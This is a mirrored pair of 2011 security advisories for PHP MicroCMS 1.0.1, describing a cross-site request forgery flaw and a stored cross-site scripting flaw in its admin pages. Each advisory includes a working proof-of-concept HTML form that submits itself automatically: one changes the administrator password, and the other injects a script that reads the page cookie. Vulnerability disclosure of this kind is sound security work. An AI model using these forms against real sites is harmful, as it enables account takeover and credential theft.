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PHP MicroCMS 1.0.1 Cross Site Request Forgery / Cross Site Scripting

🗓️ 06 Jan 2011 00:00:00Reported by High-Tech Bridge SAType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 16 Views

PHP MicroCMS 1.0.1 CSRF/XSS Vulnerabilitie

Code
`==================================  
Vulnerability ID: HTB22765  
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_php_microcms.html  
Product: PHP MicroCMS  
Vendor: ApPHP ( http://www.apphp.com/ )   
Vulnerable Version: 1.0.1 and probably prior versions  
Vendor Notification: 21 December 2010   
Vulnerability Type: CSRF (Cross-Site Request Forgery)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Low   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "index.php?admin=my_account" script to properly verify the source of HTTP request.  
  
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
Attacker can use browser to exploit this vulnerability and change administrator password. The following PoC is available:  
  
<form action="http://host/index.php?admin=my_account" method="post">  
<input type="hidden" name="password_one" value="newpass">  
<input type="hidden" name="password_two" value="newpass">  
<input type="submit" id="btn" name="submit" value="Change Password">  
</form>  
<script>  
document.getElementById('btn').click();  
</script>  
  
  
==================================  
Vulnerability ID: HTB22764  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_php_microcms.html  
Product: PHP MicroCMS  
Vendor: ApPHP ( http://www.apphp.com/ )   
Vulnerable Version: 1.0.1 and probably prior versions  
Vendor Notification: 21 December 2010   
Vulnerability Type: XSS (Cross Site Scripting)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "index.php?admin=static_pages_edit&pk=home" script to properly sanitize user-supplied input in "page_text" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/index.php?admin=static_pages_edit&pk=home" method="post" name="main">  
<input type="hidden" name="pk" value="home">  
<input type="hidden" name="page_title" value="Welcome to PHP MicroCMS">  
<input type="hidden" name="page_text" value="text<script>alert(document.cookie)</script>">  
<input type="hidden" name="subSavePage" value="Save Changes">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
`

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